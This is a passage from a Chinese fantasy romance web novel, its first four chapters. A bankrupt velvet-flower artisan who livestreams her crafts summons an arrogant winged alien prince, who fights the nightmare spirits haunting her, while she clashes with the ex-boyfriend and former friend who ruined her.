《今天傲娇王子滚了吗》
1. 召唤 阿-波-若-王子?
秋夜,月色朦胧。
【臭不要脸!还有人敢买她的绒花不怕被毒死啊?最毒妇人心说得就是这种人!】
【妖妖调调的样子,装给谁看啊一看就是勾男人的样儿!】
……
姜念垂眸,手中继续细致搓着绒条,这样的情形几乎雷打不动每天都会在直播间上演,更难听的谩骂她也不是没有听过,早已习惯。
可转身取材料时,她还是下意识深深咬了咬唇。
哪怕最后只有一个粉丝看她直播,无论如何也要直播下去。
待回过头时,脸上已是浅浅微笑,一双含露眼秋水盈盈。
眼看十一点整已到,准备整点抽奖。今日抽奖就抽/送3位用户各送一支精美“桃夭”黛玉垂枝桃绒花发簪。
姜念无视那些恶臭咒骂声,拾起一支发簪在屏幕前展示:
【准备抽奖啦宝子们,咱们把口号在屏幕上刷起来吧~】
她声音软软的,带着丝丝绵柔尾音,独一份江南水乡女孩的甜糯。
【倒计时3——2——1】
【绒花绒花,富贵繁华】
啪!
笔记本电脑屏幕瞬间死成一块黑板板,周围漆黑一片。
惨了停电了!
姜念慌忙摸索起手机要照明,耳中却听见咝咝啦啦的声响。
刚抬头,登时眼前白茫茫一片,一道猛烈如爆炸的巨大明亮差点将她整个人送走。
我…我、我瞎了吗?
她瘫坐在地上浑身止不住发抖,拼命眨眼但还是什么也看不清,泪流过了好一会儿才能看清,却似乎比往常都要清晰。
一看不打紧,但下一秒简直让她心脏骤停失声尖叫起来:
一个极其高大威猛的男人就站在她面前,浑身散发着熊熊明光火焰!
关键他背后还有一对巨大无比的洁白翅膀!
!
呵,原来她不是瞎了,是死了——
这都能看见“天使”了……
那个人怎么会有翅膀啊啊啊啊!
只见男人踱步朝她而来,高大的身影压得人透不过气,姜念下意识捞起手边的剪刀,双手紧握直愣愣指向他,手臂止不住发颤:
“你…你别过来!”
哪怕竭力稳住声音,可一颗狂乱的心快要跃出嗓子眼。不是死了也不是幻觉,不然她在黑暗中不小心磕伤的膝盖不可能还会隐隐作痛。
可这人是谁!为什么会突然出现在她房间里?!
男人脚步并未停下,身上的火焰却渐渐消散了:
琥珀色眸子,深褐色的长卷发,头戴硕大宝石镶嵌金灿灿王冠,下身着白金双色古罗马样式战袍,脚踩黄金战靴。
上半身几乎不着一物,隐隐闪烁的金纹紧紧贴着古铜色肌肤,宽肩窄腰,健硕身材宛若古希腊神话里的天神,令人面红耳赤。
这……身材这么好的吗?
姜念眨巴眨巴眼。
不等她反应过来,手里的尖剪刀豁然像被熔化了垂下,瞬间化成铁水滴落在瓷砖地上烧出了一圈焦黑,姜念惊恐抬起头,正对上那男人眼神。
冷峻、轻蔑、乜眼像看垃圾一样看她。
唇角还浮起一丝张狂的讥笑。
登时将她心底压抑已久的无名之火勾起,笑笑笑个屁有什么好笑的!但姜念拼命克制忍而不发,这男人单一只手臂都比她腰还粗,若真惹急了他就麻烦了。
她目不转睛盯住男人,背在身后的手悄悄摸索能防身的东西,表面刻意放轻语调:“你,你是谁?有什么话好好说。”
男人:“`~!@#??^&*()_+{}[]|:;''*!”
???
这说的哪国鸟语?什么也听不懂啊!
姜念满头雾水,脱口问你说什么呀?
男人盯着姜念淡粉的唇,眯起眼睛,她声音绵绵糯糯的,苍白的小脸还没他半个手掌大。墨黑长发披散垂下像水蛇摇曳,裹住单薄纤细的身躯。
他唇角蔑笑,默默盯紧姜念唇语自己口中照着暗念,不出几秒就学会了语言。
“大胆魔女!竟敢用咒术将本王子引来!还不快解除咒术向本王子请罪!”
男人昂起头,正眼也不带瞧姜念一瞧。
这人有病吧!
什么魔女什么请罪满口胡诌的什么呀!还本王子?我王你大爷!
姜念强忍怒火,齿间挤出一丝笑意:“王子?敢问你是哪国的王子?”
男人冷哼一声,更加拽得不可一世:
“果然是低级魔女。”
“连本王子——阿波罗星光明神武阿波若王子的名号都没有听过吗?”
阿-波-罗-星?
阿-波-若-王子?
我还雅典娜星雅典娜公主呢!
姜念气笑了,明明眼前这个男人说的中文每一个字她都懂但合起来就是听不懂:阿波罗星?是哪颗野星星她听都没听过!
他,他是个外星人……
也只能是外星人:凭空出现在她房间里、浑身火焰发着光、一双巨大无比的翅膀——姜念死掐自己人中希望是在做梦,但好痛!眼前这个男人依旧没有消失,反而眼神愈加桀骜。
盯得她浑身烦躁。
阿波若开口:“像你这样的低级魔女本王子见得多了,爱慕我的容貌觊觎我的神力想将我囚禁。哼!本王子可不像其他人那么好脾气!还不快解开咒术送本王子回去!不然就连你和这魔窟全烧了!”
那双白色发光巨翅在他背后霍得一下展开,燃起烈烈火焰不可逼视。
这可是她租的房子呀烧毁了怎么赔得起啊!
姜念急得要哭:“别烧了别烧了!我不是魔女也不懂咒术你怎么来的我都不知道怎么送你回去?别烧了!”
“胡说!明明是你念了咒语我才来到这的!”
“我念什么咒语了呀?!”
“绒花绒花富贵荣华是不是你念的咒?!”
阿波若收了火焰,厉声呵震得人耳疼。
姜念愣了瞬,登时无边怒气上涌,强撑着身子摇摇晃晃站起来:“这是我直播抽奖的口号!你搞清楚好不好!我每次直播抽奖都是这个口号怎么不见每次都把你召来啊?明明是你无端乱闯我家还在这含血喷人!”
一口气说得太急,她剧烈咳嗽起来又跌坐回地上,胸口顿顿的生疼。赶紧去摸抽屉里的哮喘喷雾喷了喷稍稍缓解了些,仍是头晕眼花脸惨白如纸。
却听见那人讥笑:
“你这魔窟又小又破连一点像样的神力装饰都没有,就是本王子的天马也不会住在这破烂地,还敢说不是觊觎本王子的神力吗?”
“还有像你这样差劲的魔女,浑身丧气,命不久矣,又小又黑又瘦……”
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又小又黑又瘦……她姜念可是从小到大被人夸上天的天生瓷肌冷白皮!竟敢、竟敢说她黑?放屁他个巧克力牛蛙有什么资格说她黑就他最黑!他全世界全宇宙最黑!
“你才黑你黑心烂肚闭上你的臭嘴!这是我家你给我滚出去!滚!”
姜念忍无可忍仰头大吼。
霎时间一切都清静了。
屋里也来了电,她揉揉眼睛,人不见了那个阿波若竟然从她房间里凭空消失了!
如果不是熏黑的墙壁和天花板,还有地上那个焦黑的痕迹,姜念真要怀疑方才所发生的一切都是梦,或是幻觉。
但偏偏不是,刚才发生的都是真的。
她拿着防狼喷雾无比警惕从房间搜到客厅每个角角落落甚至连洗手间马桶的水箱也没放过,没人。
仿佛那人忽然人间蒸发了一样。
这才松了一大口气。
她划开手机赶紧查看直播账号后台讯息,果然那几个老粉问怎么突然断播了,她挨个解释是偶遇停电再一一道歉,并承诺下次直播抽奖奖品翻倍好安抚粉丝的情绪。
洗漱、躺下,始终翻来覆去睡不着。破产后,她浑浑噩噩从丰林来到榕宁,缩在这破破小小的出租屋里大病了一场,也落下了经常失眠的毛病。
哪怕好不容易睡着了,也全是噩梦——
胸口闷闷的喘不上气,有无数的黑影在追赶她、拉扯她。
越来越多黑影涌来将她吞噬,突然惨厉的女声尖叫不绝,唇角流血的新娘带着血红的绒花发冠举起尖刀,姜念动弹不了只能眼睁睁瞧着那把尖刀一刀刀刺进自己胸口——
好痛…好痛…
一道金光飞来将黑影尽数驱散,尖刀新娘也化为一团烟消失殆尽。姜念难受尽消,浑身松泛说不出的轻快,整个人又渐渐沉入宁静的黑暗里……
再醒来时天已大亮,手机闹铃声加大门外剧烈的敲门声好不吵闹,她揉揉迷蒙的双眼拿起手机顿时瞌睡虫全跑:不仅远远睡过头而且还有五六条未接来电都是房东冯妈打来!
是了今天是交租的日子!
而且早上还约了很重要的事要去办,眼看就要迟到了!
大门外的敲门声怦怦作响混杂着冯妈的声音,姜念飞速穿好外套简单洗漱一番赶去开门,一开门差点心脏骤停:
那个阿波若蹲在门口,巨大的白羽翅膀将自己裹成一个粽子,身旁站着的正是冯妈。
见姜念开门,他烁利的目光毒箭一样射来。
满是怨念。
他、他、他怎么还在这里啊!
姜念犹如遭雷劈一般浑身发麻,大脑宕机。
“啧啧你说你们小年轻现在穿得都什么不伦不类的,这羽毛服是什么服啊?还有你这女娃子带男朋友回来住,我可是要加租的当初说好只能一个人住喔!”
冯妈一语惊醒姜念,她赶紧三连否认:冯妈这不是我男朋友!我不认识他!不知是从哪里跑来的脑子不清醒的中二小子——
“我是你们的神!”
“是光明伟大神武的阿波若王子!”
阿波若噌地一下站起展开巨翅傲气大喊,楼梯口的阳光为他周身镶上金边闪闪发光,高大的身躯宛若一座小山。
无比健硕的胸肌、精壮的腹肌、还有战袍下勾勒出的大腿肌轮廓的坚实健美就那么水灵灵地展现在她和冯妈眼前……
2. 羞辱
姜念第一时间扑向冯妈捂她眼睛,想也没想一个扫堂腿把阿波若踹进家里关上门,疼得她眼泪直飚出来。
好痛!感觉腿都要断了……
那个阿波若身上怎么那么硬?!
突然大喊大叫还支棱起那俩大翅拐,生怕谁不知道他是外星人吗?!
好在她眼疾手快捂住冯妈的眼,强忍略一低头还要从眼眶里跌落的泪水、瘸着一条腿朝冯妈东扯西拉好说歹说、顺便交了房租这才好不容易将人给糊弄了过去。
等送走冯妈,回到家里一进门就见阿波若趾高气昂站在那乜眼,瞧得人火冒三丈。
“你怎么还在这!昨天不是都回去了吗!”
她气息弱声音又软,哪怕生气也带着一股娇嗔感。
阿波若冷眼瞧姜念,傲然的目光落在她那微肿胀的左小腿上。哼,小小人类如此弱不禁风。
但就是这般瘦弱的小人类,竟然昨晚一句话就能将他罚禁至门外无法动弹生生站了一个晚上,直至今早第一缕阳光照在他身上禁锢咒才解除。
如此厉害,看来此魔女不能小觑。
他指尖轻动,一道金光瞬时缠绕在姜念肿胀的小腿上,来不及她反应顷刻间腿部的痛胀烟消云散。
这…姜念惊诧,更觉得那道金光十分眼熟仿佛在哪里见过。
对了,就和她昨晚梦里出现的金光一模一样。
难道是他?昨晚是他帮她驱散梦魇吗?会那么好心?
“昨晚要不是本王子略施小计你早被噩梦灵吞噬,小人类,你魔力这么差怎么活到现在的?”阿波若百般不屑。
“你为什么帮我?”
姜念直直盯住阿波若的眼。
阿波若被那双水雾蒙蒙的眼瞧着,心中仿佛被什么挠了下,瞥开眼愈加傲气起来:“你梦里哼哼唧唧的猪叫把本王子的耳朵都吵痛了!烦不烦!本王子的天马都没那么能叫唤。”
得,能指望狗嘴里吐出什么象牙来。
姜念这些年饱梦魇折磨,昨晚要不是那道金光出现帮驱散了黑影,后半夜她不可能睡得那么香甜。
那道金光简直是她的救命神。
得知是阿波若帮她驱散梦魇,心中不能说没有一点触动。
原本还想好言好语诚挚向人家道了谢、再将彼此间的误会说开就好。结果人家说你猪叫说你连他的天马都不如——
天马天马,我看你阿波若长得才像焦炭两脚疯马成天扑棱个大翅拐!
姜念心里暗暗翻起白眼,冷硬道,谢谢啊昨晚帮我驱除了梦魇。说完径直越过他回房拿东西,出来后赶到门口换鞋,回过头直直望向阿波若:
“你,什么时候回去?不会要一直赖在我这吧……”
“笑话!这破烂地是本王子该留的地方吗!本王子马上就要回母星,等——”
“那最好!”
砰的一声门关上,姜念速速出了门。
只留下阿波若一人,话还在口中:
“——等阳光洒满这里的时候。”
他盯着姜念离开的那扇门,极致深邃的琥珀眸色愈暗。
无礼,
本王子都要回去了连一声告别也不会吗?
_
荣安丝线厂。
姜念付完新丝线的尾款,心中和荷包如漏气的气球般迅速瘪下去,这年头除了工资不涨什么都涨价,新无捻线的价格比原来的高出了不止一倍,好在厂长涓姐厚道依旧按照原先尾货价格给她,否则她连订金也交不上。
荣安丝线厂主要经营丝线批发,它家的无捻丝线品相好、质量佳,与同品质的其他厂家丝线相比价格已算十分公道。
只不过她手头太拮据根本买不起成批丝线,涓姐软心见她一个女孩打拼不易便建议她可以买尾货,尾货价格低、质量品相与期货一模一样。只是每次尾货的量不一时少时多需要靠抢。
好在这次新丝线尾货量大且色种多,还可以优先选喜欢的色种,走出办公室姜念安慰自己心情稍微好了些。
她步伐快,一头及腰墨黑瀑发随着纤细的腰肢摇曳,整个人薄薄一片宛若雨后青竹,一身素白长裙衬得人更像不食烟火的仙女似要乘风飞去。
嗙的一声,姜念肩膀吃痛重重跌倒在地上,肩上帆布袋里的内物叮叮当当散落了一地,那几支精心包好的新款垂枝桃绒花发簪更是直接甩出——
直停在一双镶钻黑丝绒高跟鞋前。
下一秒,
就被那尖如蛇的鞋头踩得四分五裂。
姜念捂住肩膀仰头看去,眼见浑身奢牌、一头栗色大波浪卷发妆容无比精致的女人趾高气扬瞧着她,眼底尽是蔑色。
曾以晴,她曾经最好最好的闺蜜,也是那个和她前男友搞在一起、把她害得破产如今负债累累的贱人。
而前男友方以伦,果不其然站在曾以晴身旁,被她紧紧揽住胳膊,好不腻歪。
方以伦一眼认出了姜念,惊异道:“念、念念?你怎么……”
却听得女友以晴一声娇嗔,“哎呦哪个不长眼的往我的爱马仕包包撞呀撞坏了咋么办呀?这可是亲爱的你送我的生日礼物呢!”
那矫揉造作细嗓音直钻入姜念耳内,吃了苍蝇般恶心。颠倒黑白、装绿茶是曾以晴惯用手段,当初表面上亲亲热热做好姐妹背地里却直接捅你一刀,再将你碾碎踏入泥里。
果然,曾以晴这才转过头来故作惊异“呀”了一声,“哎念念?原来是你呀我都快认不出来了怎么变得那么憔悴?地上凉快起来!”
说着弯腰朝姜念伸出一只手,唇角弯笑。
姜念冷冷盯住她眼睛。
曾以晴直起身,抬手拂耳边的发,手腕上的碧玉镯子晶润直晃人眼。
她故意叹了口气,“念念,我知道你心里还在怨我,但事情都过去那么久了你也该放下了。不然我这心里也不好受的呀。”说着委屈望向男友方以伦。
方以伦拍拍她的手安慰,不想闹得太难看便探手伸向地上的姜念,“地上凉先起来吧……”却见姜念雾眼盈盈看向他,眼下淡淡泛青,小脸素白不施粉黛却极致清丽,一身白长裙衬得瀑发愈加乌黑,整个人犹如随时消散的脆弱晨露。
方以伦心底顿时空了一块,止不住生出怜惜。他顾不得身旁的曾以晴,赶紧低下身帮收拾捡起帆布包再双手去扶姜念,一扶更加心惊“念念,你怎么这么瘦生病了吗?”
“我记得这件米色衬衣是我送你的,你还在穿呀?”
姜念接过包来垂眸不看他,只轻轻问出这么一句。
方以伦愣了瞬,怜惜心痛更上心尖,忙点头“是,是你送我的。”姜念咬唇缓缓抬起眉眼,眼中似泛泪光“嗯,挺衬你的。”
一下子击穿方以伦心脏,从前二人还是恋人时的种种回忆登时涌入脑海百感交集,他晕晕乎乎,顺势握紧姜念纤纤手腕无比柔声唤着,念念——
曾以晴生扑过来:“姜念!这是我男朋友你拉拉扯扯干什么?要不要脸!”可姜念借力身子一歪,斜斜轻倚在方以伦家左膀上。
方以伦顺势将她揽在怀里急问有没有事,又对曾以晴道:“以晴,念念身子弱有什么话好好说。”“你干嘛还搂着她!阿伦你说话呀!”
曾以晴发疯般地双手胡乱捶打。
却被方以伦一手擒住,满眼无奈,“以晴别闹了!”“明明是你们在这你侬我侬!又是衬衣又是搂搂抱抱的你心里还有她对不对!对不对!”
姜念四处瞥了眼,零散有几个客人指着他们这边窃窃私语,她轻推开方以伦肩膀,正眼也不瞧气疯的曾以晴,转身便走。
方以伦搡开曾以晴,回身一把拉住姜念,急道:“念念你先别走!我们找个地方坐下来再好好谈谈,好不好?”
姜念瞧着方以伦,似乎比以前还要温润雅正,可就是这样一个人
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曾经对她海誓山盟却能早上陪她参加完外婆的葬礼、下午就在她房间的床上和曾以晴滚在一起。
她永远都记得那天。
“姜念你这个死狐狸精!”
曾以晴被方以伦搡开扭伤了脚,也顾不得痛生扑上来扬手挥向姜念的脸,谁料姜念举起帆布包挡了挡那一巴掌挥到了方以伦脸上,而曾自己重心不稳摔倒了。
手腕上的碧玉镯子铛的声磕在地面上,瞬间裂出了好几条裂痕。
我、我的镯子。曾以晴怔怔望着碧玉镯子动也不敢动,怕一动就全碎了。这可是她自己花了十三万三买的!
她抬头看见方以伦捂着侧边脸冷眼瞧她,心中更是一惊,“阿伦,阿伦我不是故意的!”
都怪她!都怪姜念这个贱人!
她怨毒的眼神简直要把姜念撕碎。
姜念弯下腰,笑了笑:
“以晴,地上凉坐着干什么快起来吧。”
“哦,我瞧你那镯子看起来挺贵的花了不少钱吧?但仔细看种水过于晶润根本不是行货,最多也就值3000来块吧。不过碎了就碎了,反正也值不了几个钱。”
“贱人!贱人!姜念你这个贱人!”
“念念、念念你要去哪里,我送你回去好不好?念念——”
……
那气急败坏的咒骂声和那令人作呕的温柔央求声不断交织在一起。
真难听,也真好听。
姜念头也不回转身离去,
唇角止不住弯起。
—
回到家中,四处静悄悄的。
看来,那个阿波若王子终于回他的母星了,很好。
姜念将包放下,去洗澡再换上家居服,这才一瘸一拐去柜子里翻红花油来擦。
当时被曾以晴故意撞倒碰伤了小腿,她一直忍着痛没想到越来越痛。去药店买一瓶红花油最便宜也要十多块呢,她可舍不得,依稀记得家里之前还剩一点能省就省吧。
掀起裤腿,雪白的左小腿肚青了好大一块,一碰就疼得心发慌。翻出来的红花油也是过期了两个月的。将瓶子里仅存的一点红花油倒在掌心中搓热,手刚挨到伤处就不禁皱眉。
她屈起腿双手环抱着,将头埋进膝盖,鼻息间都是凉凉刺刺的浓郁气味。
曾经,她是个花几十万买一个祖母绿玉镯都眼睛不带眨的人,作为丰林市最年轻南派绒花非遗传承大师、同时也是“瑾华”非遗绒花工作室主理人,她所设计制作的绒花饰品可谓一款接一款均是爆品,甚至大卖款供不应求。
“绒花仙子”、“传统文化代言人”、“绒花非遗文化国际推广大使”无尽的赞美和财富源源不断朝她吻上来,将她捧到云端。
可“有毒绒花”事件将她一把从云端拉下踹进烂泥里,哪怕知道是曾以晴的陷害却找不到证据,反被坐收渔翁利让曾贱人新创办了“歆美”非遗绒花工作室,抢走了属于她姜念所有的一切。
而渣男方以伦,更是猪狗不如。
想到这,姜念一咬牙狠心朝着小腿处的淤青按压下去,钻心的疼席卷上来。
好疼,真的好疼。
但越疼,才能好得越快。
—
口苦没胃口,她一瘸一拐到厨房吃了昨天剩下的半个馒头垫肚子,又找出最后一撮枸杞泡水喝,边瞧窗外渐黄的秋叶。
一只雪白金额的大鸟儿扑簌簌落在窗柩上,羽翼硕丰、傲然玉立。她从未见过如此俊俏潇洒的鸟儿,简直漂亮得不像话一时间都看呆了眼。
她小心翼翼凑近,水还含在口中嘴巴嘟嘟的俨然像一朵娇艳欲滴的玫瑰,边看鸟边心里赞叹:呀你是谁呀怎么来我家啦怎么长得这么漂亮呀?
“小人类别翘起嘴在本王子面前乱晃!丑死了!”
那鸟突然呵出声。
噗——
姜念嘴里一口水全喷在那鸟/头顶上。
3. 枯爪 惊雷轰隆一声,
这死装死装的外星人怎么还没走!
阴魂不散吗!
姜念靠紧墙角手握一把菜刀,冷眼瞧着已化为人型的阿波若。当时鸟儿开口直接吓了她一大跳,眼见鸟化成了阿波若的模样,她潜意识拔出刀架上的菜刀。
阿波若也冷冷瞧姜念,丰朗的脸上还挂着水,面色黑得不能再黑。
两人就这么远远地僵持站着,仿佛空气都凝固了。
终于,阿波若缓缓抬手从耳后卷曲发丝间取下一颗泡软的红枸杞,移向眼前定住,峻利的眼眯了眯。
噗,那颗红枸杞登时化作一缕白烟。
下一秒,姜念紧握的刀突然被一股无形的力牵引,刺啦飞了出去哐当一下砍入挂在墙上的砧板。
嘎啦,砧板裂成两半砸下来。
“小人类,没用的,你自以为拿那种破烂能伤得了本王子?”
阿波若嘲弄。
“你怎么还在这!”
姜念定定看着那裂成两半的砧板,倏然抬头盯住阿波若问。
阿波若冷哼一声,只斜斜向后靠在墙上。
那桀骜不逊的样儿真欠揍。
顿时惹得姜念心中一紧,大叫:“你该不会是回不去了吧!!!”
“小魔女,难道不是你施的困咒把我困在这?”阿波若乜眼。
一时间仿佛被无数只手钳紧喉管,姜念大脑一片空白急需新鲜空气,她直要冲出厨房,不料被阿波若展开一边巨翅挡下。
让开。
姜念只一句。
不让。
阿波若也一句。
“我是谁?”姜念霍然抬头冷不丁道,那双眼似寒潭蒙上一层薄雾。
阿波若愣了愣,哼声道,“你?小人类?”
“那你又是谁?”她又问。
“笑话!你连本王子大名鼎鼎光明神武阿波若王子的名号都不记得……”
“是啊你是大名鼎鼎的阿波若王子,我是平平无奇的地球人类。”姜念冷哼,“我能有本事把你困住?能让你回不去?我有这本事还在这干什么咋不上天啊!”
“你想上天?所以才困住我?这有何难本王子带你上去玩玩就是。”
阿波若大言不惭。
一口老血差点喷出,姜念只想拼命掐人中。救命谁来救救我!怎么会有这么脑残的人!
算了,本来也不是人,外星傻子罢了。
她强忍要翻上天的白眼,“我最后再说一遍:我不可能也没那么无聊把你困在这。你回不去跟我毫无关系。这里是我家,请你立刻马上离开!”
“不管,你要对本王子负责。”
阿波若傲气一扬头。
呵、呵呵。
这年头连外星人都会碰瓷了?负责,我负责你个大头鬼!
姜念白了他一眼,“有病!让开别挡道!”然而一团黑瘴气将她周身环绕,左胳膊仿若提线木偶般被无形的力吊起。
“你才生病了,等噩梦噬体侵入你的心脏,你就会死。”
阿波若沉沉的声音叩击姜念的耳膜,她顺着自己被提起的左臂看过去,瓷白的玉臂内测不知何时出现了一条蟉虬的黑线,像突然长出的血管、更像狰狞的毒蛇,朝着心口处一直延伸……
这,这是什么?
姜念愣愣盯看着那条黑线,一阵眩晕直泛心头。她赶紧低头瞥开眼,却发现自己小腿上也满布一条条可怖黑线。
哇的一声,她俯身干呕起来。
阿波若掌心催力,金光闪现环绕住那纤纤皓腕,登时一股热流传遍姜念全身,眩晕感也消失了,黑线似乎也淡了些。
“明之焰可以暂时压制住那些噩梦噬体,你时常被噩梦灵侵扰痛苦不堪,若不彻底驱除你最终还是会被害死。不过再厉害的噩梦灵又如何,哼,本王子只要动动指头就能顺手帮你驱除,但前提是,你要助我回母星。”
“我凭什么信你?”
姜念眸光扬起,一双幽玄的眼深若寒潭。
明明那么柔弱的模样,可那眼神却比世上任何一把锋刀都要凌厉。
阿波若眯了眯眼。
他俯身凑近,强烈的巨大压迫感直逼,可她仍旧没有丝毫退缩。
一点,一点,那双幽澈的黑眸倒映在阿波若琥珀眸眼中越来越清晰——
“因为……”
他愈来愈近。
急促的手机铃声划破空气。姜念左腕甩开牵制,跌跌撞撞奔向客厅拿起正在充电的手机。
电话是前房东债主打来的。
三年前她变卖了房、车、珠宝等等所有能变卖的资产,用做了受害人的精神损失费、遣散员工的安置费、还有一部分广告和绒花饰品代言的违约金,但仍欠下了300万的债务。
“瑾华”工作室摘了牌,当时续签了三年的办公室和厂房合同也有一笔数目不小的违约金,好在这个房东人还算厚道,没有一味的墙倒众人推答应姜念可以每月分期付款而不是一次付清。
但这个月付款的日子远远没到,前房东债主却迫不及待让姜念提前转款,还提出这次要付三个月的款。别说三个月,哪怕是一个月现在让她提前还也是捉襟见肘。
姜念缓缓坐在地上,胸口发堵,掌中的手机又嗡的一声响起,紧接着弹出一条消息——
【经举报,您的账号涉嫌违规信息,现账号已冻结如需申诉请前往安全中心办理。】
短短的消息如冰冷钢针刺进她心里,她久久盯住手屏幕,笑了。
前房东急切催债、直播账户被举报,如此巧合想都不用想就知道背后是谁使的手段。
曾以晴不仅要狠狠羞辱她,还要一步步将她推向绝望。
一张洁白的面巾纸翩然悬停在眼前,姜念扭过头,正对上阿波若那一双琥珀眼。他斜斜靠在厨房门边,桀骜不驯,碰上她望过来的眼神旋即傲气将脸别开。
姜念回过头,抬手将那张悬停的面巾纸扯下,柔软,轻薄,她掌中用力,纸巾被攥成一个团。
“阿波若,你真的可以帮我驱除梦魇,是吗?”她突然问。
阿波若不语,扭头哼一声。
“你帮我驱除梦魇,我帮你找到回母星的方法。”姜念回过身来。
“我们来做个交易。”
“谁要帮你!本王子可以自己回去无非就是多玩儿几天再回去——”
“我要活!”
活着,她才有机会一雪前耻,东山再起。
姜念决然,黑眸深邃。
那么惹人怜的一双眼,此刻凌冽得如同狂野里最倔强的虎豹。
“你要帮我,阿波若王子。”
她缓缓伸出手。
话音未落,阿波若已然一阵风般闪现在她面前,他单膝蹲身下来,一对巨翅在背后展开整个人犹如大山庞然,琥珀晶亮的眼仔细盯住她。
“谁说要帮你?”
他唇角弯起,可下一秒却握住姜念伸出的那只手。
无数金光环绕着二人耀眼非常,一股灼热的力量源源不断从阿波若掌心涌入姜念体内——他的手好热好热,简直要将人融化!
“阿波若你要烧死我吗!”
“哼这是光之契约!你懂不懂!”
光芒渐褪,阿波若瞧了她一眼,脸在抽动。姜念恶狠狠剜他一眼,赶紧抓起手机来看:
她原本柔顺如缎的长发!现在炸成了金毛狮王!
恨不得挷挷给他两拳!
突然一团黑烟在她耳边炸开,被阿波若徒手掐爆。
而她身体一轻,再回神时已跌入阿波若怀里。二人贴得极近,连呼吸声都碰在一起。
阿波若:!
姜念:!
她双手抚在阿波若光滑健硕的胸膛上,滚烫的肌肤灼咬着掌心,透过家居服都能感受到那腹肌的坚实。
眼见的阿波若喉头动了动,眼神瞥开缓缓向下。
她赶紧低头急拢紧领口,抬眼啪的一巴掌呼在阿波若脸上。
“看什么看!”
阿波若挑了挑眉,有些疑惑:
“为什么用手摸我的脸?”
“你,再摸一次。”
呵,倒给他打爽了?姜念气得又给了他一巴掌。阿波若懵懂眨眨眼,下一秒眼神瞬间凌冽,一掌护住姜念后背,一拳擂向突袭而来的巨大黑影团。
那黑影团边抽搐边发出凄厉的怪叫,四处窜动,崩塌成无数扭曲的黑点再渐渐消失殆尽。可慢慢又从四面雪白的墙壁上渗出无数黑影,仿佛眼睛一样虎视眈眈盯着二人。
“这是?是噩梦噬体?”姜念大惊。
“是噩梦灵残留的丧气。你被噩梦灵侵扰,但这种精神蚕食到了白天也不会消散而是化为丧气积留在家中墙壁,日积月累越积越多。”
只不过丧气惧怕明之焰更惧怕阿波若本身的力量,不敢轻举妄动只暗暗观察。阿波若嘴角一挑,只见一条吐纳烈焰的火龙腾空而出顷刻间将黑影焚灭。
除却最后一缕竭力逃入紧闭的卧室,阿波若蔑笑“还想逃?”霍啦房门
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被撞开,那团黑影蜷在姜念床上不断挣扎发出撕裂的尖叫。
阿波若指尖微勾,火光骤闪,黑影腾空而起瞬间化为齑粉,只留下一件淡绿色蝴蝶结吊带胸衣凌空不断旋转。
“这是,什么?”
他眯眼歪头,道。
姜念搡开他一个箭步冲进卧室扑在那团衣物上,啊啊那是她的内衣呀!尴尬死了!
只听见背后响起浑厚的声音:“你干嘛那么紧张?什么东西啊?”姜念猛回头,不知何时阿波若已经瞬移到她身后,探头探脑的。
“看什么看!这是我的卧室你进来干什么?出去出去!”
砰的卧室门关上,阿波若的身影也在她眼前消失了。
又,消失了?
姜念赶紧把内衣收进衣柜,顺便整理了地上散乱的衣服。拉开卧室门,只见阿波若直挺挺的站在门侧,高大的身姿仿佛巨石雕塑。
他怨念无比的眼神射来,把姜念都逗笑了。
“笑什么笑?”他咬牙挤出几个字。
“就要笑,不给啊?”姜念挑眉,眼神在他上下逡巡打量,“你不会动了呀?”“小魔女!放肆!快把本王子身上的冻术解开!”
“我不叫小魔女,我叫姜念,姜——念,会不会好好说话?”
又好奇宝宝般伸出手指戳了戳他坚实的手臂,“真的不会动了吗……”话音未落手腕被攥紧,整个人撞进阿波若怀里。
钢板硬的胸膛撞得人鼻梁要歪了,她捂住鼻子抬头,阿波若也垂眸,唇角学着她先前的模样,在嘲笑。
你!
忽然胸口发闷,姜念后背寒得厉害。回头看,巨大的黑影团在眼前炸开,不断翻涌着丧气直直逼来,被阿波若一拳抵住。
“噩梦灵,本王子在此你还敢来?”
他蔑笑。
“我——要——姜——念——”
黑影团发出低低的嘶吼,鬼魅似的骇人。与先前的一团黑气不同,此时它长出了无数的触手,挂满浓稠的黑色粘液。
和梦里的场景几乎一般无二。
姜念记起来了,心口更加闷得慌。
阿波若掌心覆在她后背,一边乜眼朝向黑影:
“休想!”
施力一拽,将黑影团撕成四分五裂到处扭曲。
声,禁!他口中念咒,反手将姜念护在身后,凌空挥掌显出一阵金光——
“武器库已开启,请挑选武器哟~”传来的却是极其萌萌哒的声音,可爱至极。
姜念:……
黑影团:……
阿波若:……
待指尖转动,凌空金光瞬间化为一排霸气非常的高炮,极为壮观。
【中子高能冲击炮已锁定。无法使用】
【伽马射线恒星狙击炮已锁定。无法使用。】
……
【超新星能量团远程弓箭已锁定。无法使用】、【暗物质冲击波已锁定。无法使用】
锁定、锁定、无法使用、无法使用……
好不容易找到一个【阿波罗巴啦啦小仙杖】,还是他小侄女趁他不注意放进武器库的玩具,阿波若大大的手捏住小小的玩具仙杖,发出七彩光芒。
一双蝴蝶结拖鞋塞进他手里,伴随着姜念急切的糯糯嗓音:
“实在不行用这个揍行不行!”
阿波若:……
黑影团重新汇聚猛攻过来,阿波若阴沉着脸,就这样赤手空拳左一拳、右一拳对着它狂揍……
拖鞋早已自动穿回姜念脚上,她赶紧回卧室关上门。直播时间已到,虽然大账号被封所幸还有小号可以顶替上,昨天她答应老客户要重新抽奖绝不能食言。
也不知道门外阿波若能撑多久,不管了,天塌下来她也要直播了。
直播完,出奇的顺利。
甚至还有个名叫【帅就一个字的】的新客户下了好几单。
门外一丝动静也没有。姜念刚想跑去开门,突然手机里显示两条信息从后台私信弹出:
【帅就一个字:看绒花饰品。】
【帅就一个字:我已经到你家了。】
冰冷的寒意登时爬满脊骨,姜念紧握手机的指骨发白。
现在已是深夜12点,窗外狂风暴雨,这个人……说已经到我家了?
笃、笃、笃
她猛一回头,背后的窗户不知何时开了一条缝。
惊雷轰隆一声,
从那条缝里探出了一只极其扭曲腐骨般焦黑的小爪……
4. 帅先生
嘶嚓、嘶嚓……
那焦黑扭曲的小爪的尖锐指甲划拉着窗户边缘,难受得令人心底发毛。
姜念大脑空白一片,想也没想抄起手边的热水壶朝着泼过去。
冒着白汽热腾腾的水却在窗前形成一快透明圆型水障,悬停在半空中。
水障破开,枯骨小爪霍然钻出来钳住姜念左手紧握着的水壶嘴。
姜念:!!!
